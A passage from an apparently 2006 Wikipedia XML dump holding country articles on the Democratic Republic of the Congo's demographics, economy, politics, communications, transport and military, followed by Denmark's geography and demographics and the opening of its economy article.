:Under 15 years: 1.01 male(s)/female
:15-64 years: 0.96 male(s)/female
:65 years and over: 0.68 male(s)/female
:Total population: 0.98 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 92.87 deaths/1,000 live births
:Male: 101.25 deaths/1,000 live births
:Female: 84.23 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 49.35 years
:Male: 47.29 years
:Female: 51.47 years (2005 est.)

===Total fertility rate===
:6.54 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 4.2% (2003 est.)
:People living with HIV/AIDS: 1.1 million (2003 est.)
:Deaths: 100,000 (2003 est.)

===Major infectious diseases===
:Degree of risk: very high
:Food or waterborne diseases: bacterial and protozoal diarrhea, hepatitis A, and typhoid fever
:Vectorborne diseases: malaria, plague, and African trypanosomiasis (sleeping sickness) are high :risks in some locations
:Water contact disease: schistosomiasis (2004)

===Nationality===
:Noun: Congolese (singular and plural)
:Adjective: Congolese or Congo

===Ethnic groups===
:Over 200 African ethnic groups of which the majority are Bantu; the four largest tribes - Mongo, Luba, Kongo (all Bantu), and the Mangbetu-Azande (Hamitic) make up about 45% of the population

===Religions===
:Roman Catholic 50%, Protestant 20%, Kimbanguist 10%, Muslim 10%, other syncretic sects and indigenous beliefs 10%

===Languages===
:French (official), Lingala (a lingua franca trade language), Kingwana (a dialect of Kiswahili or Swahili), Kikongo, Tshiluba

===Literacy===
:Definition: age 15 and over can read and write French, Lingala, Kingwana, or Tshiluba
:Total population: 65.5%
:Male: 76.2%
:Female: 55.1% (2003 est.)

==References==
{{CIA WFB 2005}}

{{Africa in topic|Demographics of}}

[[Category:Demographics by country|Congo, Demo]]
[[Category:Society of the Democratic Republic of the Congo]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the Democratic Republic of the Congo</title>
    <id>8025</id>
    <revision>
      <id>38982913</id>
      <timestamp>2006-02-09T22:58:21Z</timestamp>
      <contributor>
        <username>Briaboru</username>
        <id>284038</id>
      </contributor>
      <text xml:space="preserve">{{Economy of Democratic Republic of the Congo table}}
Sparsely populated in relation to its area, the [[Democratic Republic of the Congo]] is home to a vast potential of natural resources and [[mineral]] wealth, yet the [[Economics|economy]] of the DROC has declined drastically since the mid-[[1980s]]. [[Agriculture]] is the mainstay of the economy, accounting for 57.9% of [[Gross domestic product|GDP]] in [[1997]]. Main cash crops include [[coffee]], [[palm oil]], [[rubber]], [[cotton]], [[sugar]], [[tea]], and [[cocoa]]. Food crops include [[cassava]], [[plantains]], [[maize]], [[groundnuts]], and [[rice]]. In [[1996]], agriculture employed 66% of the work force.

Industry, especially [[mining]], remains a great potential source of wealth for DROC. In 1997, industry accounted for 16.9% of GDP. The Congo was the world's fourth-largest producer of industrial [[diamond]]s during the 1980s, and diamonds continue to dominate exports, accounting for $717 million or 52% of exports in 1997. The Congo's main [[copper]] and [[cobalt]] interests are dominated by [[Gecamines]], the state-owned mining giant. Gecamines production has faltered in recent years, due in part to a competitive world copper market.

Despite the country's vast potential, under the [[Mobutu]] regime widespread corruption, economic controls, and the diversion of public resources for personal gain thwarted economic growth. The unrecorded and illicit transactions of Zaire's unofficial economy were estimated in the early [[1990s]] to be three times the size of official GDP.

The Congo's record with multilateral and bilateral donors has been uneven. Despite a succession of economic plans financed by the [[World Bank]] and the [[International Monetary Fund]] (IMF) since independence, budgetary imbalance, [[inflation]], and debt consistently plagued the Mobutu government. In early [[1990]], both the World Bank and the IMF suspended most disbursements, and most bilateral aid was cut off. Unable to make debt payments, Zaire's borrowing rights with the IMF were cut off in February [[1992]]; its World Bank credits were frozen in July [[1993]]. Despite the introduction of a new currency, the [[New Zaire]] (NZ), currency issuance remained disorderly, and largescale inflation rose to over 9,000% by early 1994.

In [[May 1997]] the [[AFDL]], led by [[Laurent Kabila]], overthrew the regime of Mobutu Sese Seko. Under President Kabila the government and state enterprises began a program of reconstruction. The government began to reform the corrupt [[tax]] system, civilian [[police]] force, and repair the damaged road system.

In [[August 1998]], a war broke out in the Democratic Republic of the Congo. At that time, some progress had been made in the economic reconstruction of the country, but major problems continued to exist in transportation infrastructure, customs administration, and the tax system. Government finances had not been put in order and relations with the IMF and World Bank were in disarray. Much of the government's revenue was kept &quot;off book,&quot; and not included in published statistics on revenue and expenditure. Relations with the World Bank were on hold as a result of the government's failure to finalize an agreement for administration of the [[International Bank for Reconstruction and Development]] (IBRD) Trust Fund for the Congo.

The outbreak of war in the early days of August 1998 caused a major decline in economic activity that continues to the present. The country has been divided into rebel- and government-held territories, and commerce between them has stopped. The economic and commercial links among the various sections of the country are not strong, but they are important.

After a surge in inflation during August 1998, the government began enforcing [[price control]] laws. It also began regulating foreign exchange markets. Taken together, these measures have severely damaged the ability of businesses depending on imports to continue operations. Furthermore, the small gains against inflation and [[currency depreciation]] were quickly reversed when the foreign-backed rebellion in the eastern part of the country began in August 1998. The war has dramatically reduced government revenue, and increased external debt. Foreign businesses have curtailed operations due to uncertainty about the outcome of the conflict and because of increased government harassment and restrictions.  The wide spread between the official rate for buying the new currency, [[Congo francs]] (FCs), and the black market rate for buying [[dollar]]s has forced merchants to price their imported goods according to the official rate for buying local currency.

Poor [[infrastructure]], an uncertain legal framework, corruption, and lack of openness in government economic policy and financial operations remain a brake on investment and growth. A number of [[IMF]] and [[World Bank]] missions have met with the new government to help it develop a coherent economic plan but associated reforms are on hold.  Faced with continued currency depreciation, the government resorted to more drastic measures and in [[January 1999]] banned the widespread use of U.S. dollars for all domestic commercial transactions, a position it later adjusted. The government has been unable to provide foreign exchange for economic transactions, while it has resorted to printing money to finance its expenditure.  Growth was negative in [[2000]] because of the difficulty of meeting the conditions of international donors, continued low prices of key exports, and post-coup instability. 

Conditions improved in late [[2002]] with the withdrawal of a large portion of the invading foreign troops. A number of [[IMF]] and [[World Bank]] missions have met with the government to help it develop a coherent economic plan, and President Kabila has begun implementing reforms. Much economic activity lies outside the GDP data.

With relative peace in the country during [[2003]], the DRC aims to increase its exports of [[electricity]] to [[Zimbabwe]] and [[South Africa]] to 500 [[megawatt]]s from 210 megawatts (mostly from the [[Inga dam]]). Electricity distribution in the DRC is licensed to a [[Zambia|Zambian]] company, [[CEC]].

==See also==
* [[Democratic Republic of the Congo]]
* [[Economy of Africa]]
== References==
*[http://www.cia.gov/cia/publications/factbook/geos/cg.html CIA World Factbook]

{{WTO}}
[[Category:African Union member economies|Congo, Democratic Republic of the]]
[[Category:WTO members|Congo, Democratic Republic of the]]
[[Category:Economies by country|Congo, Democratic Republic of the]]
[[Category:Economy of the Democratic Republic of the Congo| ]]
[[fr:Économie de la République démocratique du Congo]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the Democratic Republic of the Congo</title>
    <id>8026</id>
    <revision>
      <id>39375488</id>
      <timestamp>2006-02-12T19:27:48Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <text xml:space="preserve">{{Politics of the Democratic Republic of the Congo}}
Despite President [[Laurent-Désiré Kabila]]'s claims that his was a [[transitional government]] leading to a new [[constitution]] and full elections by April [[1999]], these elections have not [[as of 2004]] been held, and a [[1998]] draft constitution has not been finalized. All executive, legislative, and military powers are vested in the president. The judiciary is independent, with the president having the power to dismiss or appoint. The president is head of a 26-member cabinet dominated by the [[Alliance of Democratic Forces for the Liberation of Congo]] (ADFL).

After some successes at improving internal security and lowering the [[inflation rate]] over his first year, Kabila was unable to control insurgent activities by various armed groups. Activities by [[Hutu]] ex-FAR/[[Interahamwe]], [[Mai-Mai]] soldiers, and a February [[1998]] mutiny by [[Tutsi]] [[Banyamulenge]] destabilized the regime. In addition, Kabila's pledges to democratize the government over time contrasted with the reality of banned political parties and increasingly centralized power. Criticism of Kabila's government grew both domestically and within the international community.

In an attempt to stabilize the country and consolidate his control after his [[1997]] victory in the [[First Congo War]], President Kabila in August [[1998]] expelled the [[Rwanda]]n troops remaining in DRC . This prompted army mutinies in Kinshasa and the Kivu provinces in the east. Although the Kinshasa mutiny was put down, the mutiny in the Kivus continued and mushroomed into a drive to topple the government, now called the [[Second Congo War]]. Opposing the Kabila government were factions of the [[Rally for Congolese Democracy]] (RCD), [[Rwanda]], and [[Uganda]]. The Movement for the Liberation of Congo (MLC), another rebel group, emerged later. Defending the Kabila government were the former Rwandan army (ex-FAR)/Interahamwe militia, [[Angola]], [[Namibia]], [[Chad]], [[Zimbabwe]], and the Congolese army (FAC).

A cease-fire was signed on [[10 July]] [[1999]] by the DROC, [[Zimbabwe]], [[Angola]], [[Uganda]], [[Namibia]], [[Rwanda]], and Congolese armed rebel groups, but sporadic fighting continued. Kabila was assassinated on [[16 January]] [[2001]] and his son [[Joseph Kabila]] was named head of state ten days later. In October [[2002]], the new president was successful in getting occupying Rwandan forces to withdraw from eastern Congo; two months later, an agreement was signed by all remaining warring parties to end the fighting and set up a government of national unity, though final peace remains elusive.

'''Principal Government Officials'''&lt;br&gt;
President: [[Joseph Kabila]]

'''Country name:'''
&lt;br&gt;''conventional long form:''
Democratic Republic of the Congo
&lt;br&gt;''conventional short form:''
none
&lt;br&gt;''local long form:''
Republique Democratique du Congo
&lt;br&gt;''local short form:''
none
&lt;br&gt;''former:''
[[Belgian Congo]], &lt;nowiki&gt;Congo/Leopoldville, Congo/Kinshasa,&lt;/nowiki&gt; [[Zaire]]
&lt;br&gt;''abbreviation:''
DROC

'''Data code:'''
CD

'''Government type:'''
dictatorship; presumably  undergoing a transition to representative government

'''Capital:'''
[[Kinshasa]]

'''Administrative divisions:'''
10 provinces (provinces, singular - province) and one city* (ville); [[Bandundu]], [[Bas-Congo]], [[Equateur]], [[Kasai-Occidental]], [[Kasai-Oriental]], [[Katanga]], Kinshasa*, [[Maniema]], [[Nord-Kivu]], [[Orientale]], [[Sud-Kivu]]

'''Independence:'''
[[30 June]] 1960 (from [[Belgium]])

'''National holiday:'''
anniversary of independence from Belgium, [[30 June]] ([[1960]])

'''Constitution:'''
[[24 June]] [[1967]], amended August [[1974]], revised [[15 February]] [[1978]], amended April [[1990]]; transitional constitution promulgated in April [[1994]]; in November [[1998]], a draft constitution was approved by former President [[Laurent Kabila]] but it was not ratified by a national referendum; one outcome of the ongoing inter-Congolese dialogue is to be a new constitution

'''Legal system:'''
based on Belgian civil law system and tribal law; has not accepted compulsory [[ICJ]] jurisdiction

'''Suffrage:'''
18 years of age; universal and compulsory

'''Executive branch:'''
&lt;br&gt;''chief of state:''
President [[Joseph Kabila]] (since [[26 January]] [[2001]]); note - following the assassination of his father, [[Laurent-Desire Kabila]], on [[16 January]] [[2001]], Joseph Kabila succeeded to the presidency; the president is both the chief of state and head of government
&lt;br&gt;''head of government:''
President [[Joseph Kabila]] (since [[26 January]] [[2001]]); note - following the assassination of his father, [[Laurent-Desire Kabila]], on [[16 January]] [[2001]], Joseph Kabila succeeded to the presidency; the president is both the chief of state and head of government
&lt;br&gt;''cabinet:''
National Executive Council, appointed by the president
&lt;br&gt;''elections:''
before Laurent Desire Kabila seized power, the president was elected by popular vote for a seven-year term; election last held [[29 July]] [[1984]] (next was scheduled to be held in May [[1997]]); formerly, there was also a prime minister elected by the High Council of the Republic; note - the term of the former government expired in [[1991]], elections were not held, and former President [[Mobutu]] continued in office until his government was militarily defeated by Kabila on [[17 May]] [[1997]]
&lt;br&gt;''note:''
Marshal Mobutu Sese Seko Kuku Ngbendu wa Za Banga was president from [[24 November]] [[1965]] until forced into exile on [[16 May]] [[1997]] when his government was overthrown militarily by Laurent Desire Kabila; Kabila immediately assumed governing authority and pledged to hold elections by April 1999, but, in December 1998, announced that elections would be postponed until all foreign military forces attempting to topple the government had withdrawn from the country; Kabila was assassinated in January 2001 and was succeeded by his son Joseph Kabila.

'''Legislative branch:'''
a 300-member Transitional Constituent Assembly established in August [[2000]]
elections: NA; members of the Transitional Constituent Assembly were appointed by former President Laurent-Desire Kabila
Now a appointed National Assembly and Senate exist.
&lt;br&gt;''elections:''
the country's first multi-party presidential and legislative elections had been scheduled for May [[1997]] but were not held; instead Laurent Kabila overthrew the Mobutu government and seized control of the country

'''Judicial branch:'''
Supreme Court (Cour Supreme)

'''Political parties and elections'''
{{Main|Political parties in the Democratic Republic of the Congo}}
{{DR Congo National Assembly}}
{{DRC Senate}}

'''International organization participation:'''
[[ACCT]], [[ACP (Lomé Convention)|ACP]], [[AfDB]], [[CEEAC]], [[CEPGL]], [[United Nations Economic Commission for Africa|ECA]], [[Food and Agriculture Organization|FAO]], [[G-19]], [[G-24]], [[G-77]], [[IAEA]], [[IBRD]], [[ICAO]], [[International Criminal Court|ICC]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[IFAD]], [[IFC]], [[IFRCS]], [[IHO]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization]], [[Intelsat]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]], [[International Telecommunication Union|ITU]], [[NAM]], [[OAU]], [[OPCW]] (signatory), [[Permanent Court of Arbitration|PCA]], [[Southern African Development Community|SADC]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNHCR]], [[UNIDO]], [[UPU]], [[WCL]], [[WCO]] [[WFTU]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]]

'''Flag description:'''
light blue with a large yellow five-pointed star in the center and a columnar arrangement of six small yellow five-pointed stars along the hoist side

:''See also :'' [[Democratic Republic of the Congo]]

{{Africa in topic|Politics of}}

[[Category:Politics of the Democratic Republic of the Congo| ]]

[[fr:Politique de la République démocratique du Congo]]
[[ln:Politiki bya Kɔ́ngɔ-Kinshasa]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in the Democratic Republic of the Congo</title>
    <id>8027</id>
    <revision>
      <id>28147817</id>
      <timestamp>2005-11-12T22:07:51Z</timestamp>
      <contributor>
        <username>Ahoerstemeier</username>
        <id>7580</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/83.24.67.195|83.24.67.195]] to last version by CalJW</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
20,000 (2000), 36,000 (1995)

'''Telephones - mobile cellular:'''
15,000 (2000), 10,000 (1995)

'''Telephone system:'''
&lt;br&gt;''general assessment:'' poor 
&lt;br&gt;''domestic:''
barely adequate wire and microwave radio relay service in and between urban areas; domestic satellite system with 14 earth stations
&lt;br&gt;''international:''
satellite earth station - 1 [[Intelsat]] ([[Atlantic Ocean]])

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 3, FM 11, shortwave 2 (2001), AM 3, FM 12, shortwave 1 (1999)

'''Radios:'''
18.03 million (1997)

'''[[Television]] broadcast stations:'''
4 (2001), 20 (1999)

'''Televisions:'''
6.478 million (1997)

'''[[Internet Service Provider]]s (ISPs):'''
1 (1999)

'''Internet users:''' 6,000 (2002)

'''[[Country code]]:''' CD (formerly ZR)

:''See also :'' [[Democratic Republic of the Congo]]

[[Category:Communications by country|Democratic Republic of the Congo]]
[[Category:Communications in the Democratic Republic of the Congo| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in the Democratic Republic of the Congo</title>
    <id>8028</id>
    <revision>
      <id>37832240</id>
      <timestamp>2006-02-02T11:49:48Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in the Democratic Republic of the Congo]] to [[Transport in the Democratic Republic of the Congo]]: part os a series</comment>
      <text xml:space="preserve">== [[Railway]]s ==
* Not all rail lines link up. There are separate systems based on
** [[Kinshasa]]
** [[Bumba, Democratic Republic of the Congo|Bumba]]
** [[Ilebo]]

&lt;br&gt;''total:''
4,772 km (2002), 5,138 km (1995); 
&lt;br&gt;''narrow gauge:''
* 3,621 km 1.067-m gauge (858 km electrified); (2002)
*   125 km 1.000-m gauge; (2002)
* 1,026 km 0.600-m gauge (2002);
* 3,987 km 1.067-m gauge (858 km electrified); (1996)

=== Railway links to adjacent countries ===
* unknown

== [[Highways]] ==
&lt;br&gt;''total:''
157,000 km
&lt;br&gt;''paved:''
NA km (including 30 km of expressways)
&lt;br&gt;''unpaved:''
NA km (1996 est.)

== [[Waterway]]s ==
15,000 km including the [[Congo River]], its tributaries, and unconnected [[lake]]s

== Pipelines ==
petroleum products 390 km

== Ports and harbors ==
=== Atlantic Ocean ===

* [[Banana, Congo|Banana]]
* [[Matadi]] - [[railhead]] for [[portage railway]]

=== Inland Rivers ===
* [[Boma]], [[Bukavu]], 
* [[Bumba]] - [[railhead]] for isolated railway
* [[Goma]]
* [[Ilabo]] - [[railhead]]
* [[Kindu]]
* [[Kinshasa]], [[Kisangani]], [[Mbandaka]]

=== [[Lake Tanganyika]] ===
* [[Kalemie]] - [[railhead]] ?

== Merchant marine ==
none (1999 est.)

== Airports: ==
229 (2002), 232 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
24
&lt;br&gt;''over 3,047 m:''
4
&lt;br&gt;''2,438 to 3,047 m:''
2
&lt;br&gt;''1,524 to 2,437 m:''
16
&lt;br&gt;''914 to 1,523 m:''
2 (2002 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
205
&lt;br&gt;''1,524 to 2,437 m:''
19
&lt;br&gt;''914 to 1,523 m:''
95
&lt;br&gt;''under 914 m:''
91 (2002 est.)

== See also ==


{{CIAfb}}

* [[Democratic Republic of the Congo]]

{{Africa in topic|Transport in}}

[[Category:Transportation in the Democratic Republic of the Congo| ]]
[[fr:Transport en République démocratique du Congo]]</text>
    </revision>
  </page>
  <page>
    <title>Military of the Democratic Republic of the Congo</title>
    <id>8029</id>
    <revision>
      <id>38217510</id>
      <timestamp>2006-02-04T23:37:40Z</timestamp>
      <contributor>
        <username>Kelisi</username>
        <id>173996</id>
      </contributor>
      <comment>Copyedit (how peeving)</comment>
      <text xml:space="preserve">&lt;table border=1 width=300 cellpadding=2 cellspacing=0 align=right style=&quot;margin-left:1em&quot;&gt;
&lt;tr&gt;&lt;th colspan=2 align=center bgcolor=#8888dd&gt;'''Military of Democratic Republic of Congo'''
&lt;tr&gt;&lt;td&gt;Military branches&lt;td&gt;[[Army of Democratic Republic of Congo|Army]], Navy, Air Force 
&lt;tr&gt;&lt;td colspan=2  align=center&gt;'''Military manpower'''
&lt;tr&gt;&lt;td&gt;Availability&lt;td&gt;males ages 18-49: 11,052,696 (2005 est)
&lt;tr&gt;&lt;td&gt;Fit for military service&lt;td&gt;males age 18-49: 5,851,292 (2005 est.)
&lt;tr&gt;&lt;td&gt;Active troops&lt;td&gt;97,800 ([[List of countries by number of active troops|Ranked 44th]])
&lt;tr&gt;&lt;td colspan=2 align=center&gt;'''Military expenditures'''
&lt;tr&gt;&lt;td&gt;Dollar figure&lt;td&gt;  $93.5 million ([[2004]])
&lt;tr&gt;&lt;td&gt;Percent of GDP&lt;td&gt; 1.5% ([[2004]])
&lt;/table&gt;

The '''military of the [[Democratic Republic of Congo]]''' is currently in the rebuilding process after the [[Second Congo War]] officially ended in July 2003. [[Rwandan]]- and [[Ugandan]]-created [[militia]]s have hampered the formation of the new national army by their refusal to disband. The military is one of the most unstable in the region after years of war and underfunding. It is prone to defections. The government in [[Kinshasa]] and the [[U.N.]] are attempting to create a viable force with the ability to perform all tasks it is entrusted with, the most important being bringing stability and security to the nation.  

There are currently over 16,000 United Nations peacekeepers based in Congo to assist Congolese authorities in maintaining security. In recent events the military has made it clear to [[Rwanda]] and [[Uganda]] they will defend their borders from any future incursions by either nation, which could further strain attempts to rebuild the nation's already battered security structure. 
==Organization==
The current organization of the Congo's military establishment is very vague owing to lack of information; it has been made more difficult because of the current reforms being undertaken by the Congo security forces.  
It is known to be broken up into the Army, Navy and Air Force; however, no official names seem to be available owing to the reform process.
==Resources==
A key issue for the Congo's military is the lack of resources. The lack of money restricts the capabilities by not allowing the proper training, payment and weapons to be given to the military. It has been an ongoing issue ever since the [[U.S.]] and most of its allies cut support for the government of [[Mobutu]] at the end of [[Cold War]] and the increasing amount of human rights abuses carried out by his security forces. Although the [[Democratic Republic of the Congo]] maintains vast natural resources its economy has been torn apart by conflict and corruption. The infrastructure has been widely destroyed, thereby restricting the mobility and logistical ability of any new Congolese national military establishment.    

   
==References and Links==
*{{CIA_WFB_2003}}
*[[Democratic Republic of the Congo]]
[[Category:Military of the Democratic Republic of the Congo| ]]
[[Category:Militaries|Democratic Republic of the Congo]]</text>
    </revision>
  </page>
  <page>
    <title>Democratic Republic of the Congo/Transnational issues</title>
    <id>8030</id>
    <revision>
      <id>15906053</id>
      <timestamp>2002-08-27T20:02:23Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of the Democratic_Republic_of_the_Congo]]</text>
    </revision>
  </page>
  <page>
    <title>Denmark/History</title>
    <id>8031</id>
    <revision>
      <id>15906054</id>
      <timestamp>2002-05-31T10:00:41Z</timestamp>
      <contributor>
        <username>Christian</username>
        <id>899</id>
      </contributor>
      <comment>#REDIRECT [[History of Denmark]]</comment>
      <text xml:space="preserve">#REDIRECT [[History of Denmark]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Denmark</title>
    <id>8032</id>
    <revision>
      <id>35299893</id>
      <timestamp>2006-01-15T19:22:56Z</timestamp>
      <contributor>
        <ip>68.40.99.162</ip>
      </contributor>
      <text xml:space="preserve">This article describes the '''[[geography]] of [[Denmark]]'''.

[[Image:Denmarkmap.gif|thumb|right|400px|Map of Denmark - Click to enlarge]]

; Location: north europe east of the baltic sea

: Northern [[Europe]], islands in the Baltic Sea and the northern part of the [[Jutland]] peninsula bordering the [[Baltic Sea]] and the [[North Sea]]
; [[Geographic coordinates]]:
: {{coor dm|56|00|N|10|00|E|type:country}}
; Map references:
: [[Europe]]
; Area:
:* Total: 43,094 km²
:* Land: 42,394 km²
:* Water: 700 km²
: Note: Includes the island of [[Bornholm]] in the Baltic Sea and the rest of metropolitan Denmark, but excludes the [[Faroe Islands]] and [[Greenland]]
; Area - comparative:
: Slightly less than twice the size of [[Massachusetts]]
; Land boundaries:
:* Total: 68 km
:* Border countries: [[Germany]] 68 km
; Coastline:
: 7,314 km
; Maritime claims:
:* Contiguous zone: 24 nautical miles (44 km)
:* Continental shelf: 200-m depth or to the depth of exploitation
:* Exclusive economic zone: 200 nautical miles (370 km)
:* Territorial sea: 12 nautical miles (22 km)
; Climate:
: Temperate; humid and overcast; mild, windy winters and cool summers
; Terrain:
: Low and flat to gently rolling [[plains]]
; Elevation extremes:
:* Lowest point: [[Lammefjord]] -7 m
:* Highest point: [[Møllehøj]] 171 m
; Natural resources:
: [[Petroleum]], [[natural gas]], [[fish]], [[salt]], [[limestone]], [[Rock (geology)|stone]], [[gravel]] and [[sand]]
; Land use:
:* [[Arable land]]: 60%
:* Permanent crops: 0%
:* Permanent pastures: 5%
:* [[Forest]]s and [[woodland]]: 10%
:* Other: 25% (1993 est.)
; [[Irrigated land]]:
: 4,350 km² (1993 est.)
; Natural hazards:
: [[Flooding]] is a threat in some areas of the country (e.g., parts of [[Jutland]], along the southern coast of the island of [[Lolland]]) that are protected from the sea by a system of dikes
; Environment - current issues:
: [[Air pollution]], principally from vehicle and power plant emissions; [[nitrogen]] and [[phosphorus]] pollution of the [[North Sea]]; drinking and surface water becoming polluted from animal wastes and pesticides
; Environment - international agreements:
:* Party to: Air Pollution, Air Pollution-Nitrogen Oxides, Air Pollution-Sulphur 85, Air Pollution-Sulphur 94, Air Pollution-Volatile Organic Compounds, Antarctic Treaty, Biodiversity, Climate Change, Desertification, Endangered Species, Environmental Modification, Hazardous Wastes, [[Law of the Sea]], Marine Dumping, Marine Life Conservation, Nuclear Test Ban, Ozone Layer Protection, Ship Pollution, Tropical Timber 83, Tropical Timber 94, Wetlands, Whaling
:* Signed, but not ratified: Air Pollution-Persistent Organic Pollutants, Antarctic-Environmental Protocol, Climate Change-Kyoto Protocol
; Geography - note:
: Controls [[Danish Straits]] ([[Skagerrak]] and [[Kattegat]]) linking Baltic and North Seas; about one-quarter of the population lives in [[Copenhagen]]

==See also==
*[[List of islands of Denmark]]

==External links==
*[http://www.kms.dk/C1256C62002F8C6B/ Online charts and maps by the Danish survey authority]
*[http://www.kms.dk/C1256C6200312D33/(AllDocsByDocId)/8133C59F44437DC9C1256CBB0052E7B4 Denmark in numbers]

[[Category:Geography of Denmark| ]]

[[es:Geografía de Dinamarca]]
[[fr:Géographie du Danemark]]
[[it:Geografia della Danimarca]]
[[pt:Geografia da Dinamarca]]
[[ru:География Дании]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Denmark</title>
    <id>8033</id>
    <revision>
      <id>41471254</id>
      <timestamp>2006-02-27T15:58:17Z</timestamp>
      <contributor>
        <ip>84.9.192.165</ip>
      </contributor>
      <text xml:space="preserve">Most [[Denmark|Danes]] today trace their heritage to a Germanic people who have inhabited Denmark since prehistoric times.  However, with immigration in recent into the country from various parts of the world, the Danish population has become increasingly heterogeneous. [[Danish language|Danish]] is the principal language of [[Denmark]].

During the [[Völkerwanderung]] migrations (times of [[Huns]] and later [[Slavs]] and [[Eurasian Avars|Avars]] onslaughts into [[Magna Germania]]), Danes came onto the peninsula of [[Jutland]]. They were repelled by native Juetlanders, Friesians and other native Germanic tribes. Danish attackers left many ships, on which they came, stuck in the moors, which can still be found today. In time the [[Franks|Frankish]]/German emperors married off the Jutland chief's daughters to Danes, thus making them part of the empire as kings.

A small German-speaking minority lives in southern part of Denmark on Jutland, more exactly in northern Sleswig. [[Schleswig-Holstein|Schleswig and Holstein]] dukes were for a long time under the Holy Roman Empire also the kings of Denmark. The dukes of Schleswig/Holstein were to also be kings of Denmark, but it was to always remain separate. Despite this the northern part of Schleswig near Tondern was cut off and &quot;given&quot; to Denmark after the first world war at [[Versailles]]. Today most people in border regions of Europe speak both languages.

A mostly [[Inuit]] population inhabits [[Greenland]]; and the [[Faroe Islands]] have a Nordic population with its own language. Education is compulsory from ages seven to 18 and is free through the university level.

The Evangelical Lutheran Church (''Den danske folkekirke'') is state-supported and, according to statistics from January 2002, accounts for about 84.3% of Denmark's religious affiliation. Denmark has religious freedom, however, and other religions exist, both Protestant denominations and other.  The office of the Minister of Religion (''Kirkeministeren'') recognizes 12 different religions for tax and legal purposes; in addition it acknowledges a number of other religious groups for the purpose of conducting wedding ceremonies.

[[Ansgar]] was in [[835]] designated archbishop over the North and East. His bishopric [[Hamburg-Bremen]] remained so until Lund was designed to take on their own archbishopric in [[1103]].

'''Population''':
5,432,335 (July 2005 est.)

'''[[Age structure]]''':
* 0-14 years: 18.8% (male 524,250; female 497,683)
* 15-64 years: 66.1% (male 1,811,787; female 1,780,907)
* 65 years and over: 15.1% (male 349,458; female 468,250) (2005 est.)

[[Population growth rate]]: 0.34% (2005 est.)

[[Birth rate]]: 11.36 births/1,000 population (2005 est.)

[[Death rate]]: 10.43 deaths/1,000 population (2005 est.)

[[Net migration rate]]:
2.53 migrant(s)/1,000 population (2005 est.)

[[Sex ratio]]:
* at birth: 1.06 male(s)/female
* under 15 years: 1.05 male(s)/female
* 15-64 years: 1.02 male(s)/female
* 65 years and over: 0.75 male(s)/female
* total population: 0.98 male(s)/female (2005 est.)

[[Infant mortality rate]]: 4.56 deaths/1,000 live births (2005 est.)

[[Life expectancy]]:

* total population: 77.62 years
* male: 75.34 years
* female: 80.03 years (2005 est.)

Total [[fertility rate]]:
1.74 children born/woman (2005 est.)

[[Nationality]]:

* noun: [[Dane]](s)
* adjective: Danish

[[Ethnic groups]]:
* [[Denmark|Danish]] 93.8% 
* [[Asia|Asian]] 1.5%
* [[Turkey|Turkish]] 0.9%
* Residents of [[former Yugoslavia]] 0.8%
* [[Africa|African]] 0.7%
* [[England|English]] 0.2%
* [[Germany|German]] 0.2%
* [[Sweden|Swedish]] 0.2%
* [[Inuit]] 0.1% 
* [[Faroese people|Faroese]] 0.1% 
* Others 1.5%

[[Religion]]s:
* [[Lutheran]] 84.3%, 
* other [[Protestant]] and [[Roman Catholic]] 3%, [[Islam]] 2%
* other/non-religious 10.7%

[[Language]]s:

* [[Danish language|Danish]] 
* [[Faroese language|Faroese]], 
* [[Greenlandic]] (an [[Inuit]] dialect),
* [[German language|German]] (small minority)
''note:'' [[English language|English]] is the predominant second language

[[Literacy]]: (''definition: age 15 and over can read and write'')

* total population: 100%
* male: 100%
* female: 100%

==See also== 
* [[Denmark]]
* [[Religion in Denmark]]

[[Category:Demographics by country|Denamrl]]
[[Category:Geography of Denmark]]
[[Category:Danish society]]

[[es:Demografía de Dinamarca]]
[[pt:Demografia da Dinamarca]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Denmark</title>
    <id>8034</id>
    <revision>
      <id>15906057</id>
      <timestamp>2002-08-28T08:44:57Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <minor />
      <comment>make redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Denmark]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Denmark</title>
    <id>8035</id>
    <revision>
      <id>41419123</id>
      <timestamp>2006-02-27T04:53:11Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>dab welfare</comment>
      <text xml:space="preserve">[[Denmark]]'s industrialized market economy depends on imported raw materials and foreign trade. Within the [[European Union]], Denmark advocates a liberal trade policy. Its standard of living is among the highest in the world, and the Danes devote 0,7% of GDP to foreign aid.

